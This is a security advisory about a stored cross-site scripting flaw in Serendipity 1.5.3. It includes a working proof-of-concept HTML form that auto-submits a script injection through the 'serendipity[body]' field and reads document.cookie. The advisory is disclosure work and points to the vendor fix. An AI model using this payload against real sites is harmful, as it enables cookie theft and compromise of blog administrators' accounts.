[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

XSS (cross site scripting) vulnerability in Serendipity



Vulnerability ID: HTB22595
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_serendipity.html
Product: Serendipity
Vendor: Serendipity Team ( http://www.s9y.org/ ) 
Vulnerable Version: 1.5.3 and probably prior versions
Vendor Notification: 26 August 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "include/functions_entries.inc.php" script to properly sanitize user-supplied input in "serendipity[body]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/serendipity_admin.php?"; method="post" name="main" >

<input type="hidden" name="serendipity[action]" value="admin" />
<input type="hidden" name="serendipity[adminModule]" value="entries" />
<input type="hidden" name="serendipity[adminAction]" value="save" />
<!--<input type="hidden" name="serendipity[timestamp]" value="1282502444" />-->
<input type="hidden" name="serendipity[id]" value="1" />
<input type="hidden" name="serendipity[timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[preview]" value="false" />
<input type="hidden" name="serendipity[token]" value="12345" />
<input type="hidden" name="serendipity[title]" value="title" />
<input type="hidden" name="serendipity[isdraft]" value="false" />
<input type="hidden" name="serendipity[chk_timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[new_timestamp]" value="2010-08-22+22:40" />
<input type="hidden" name="serendipity[categories][]" value="0" />
<input type="hidden" name="serendipity[body]" value='body2"><script>alert(document.cookie)</script>' />
<input type="hidden" name="serendipity[allow_comments]" value="true" />
<input type="hidden" name="serendipity[extended]" value="" />

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version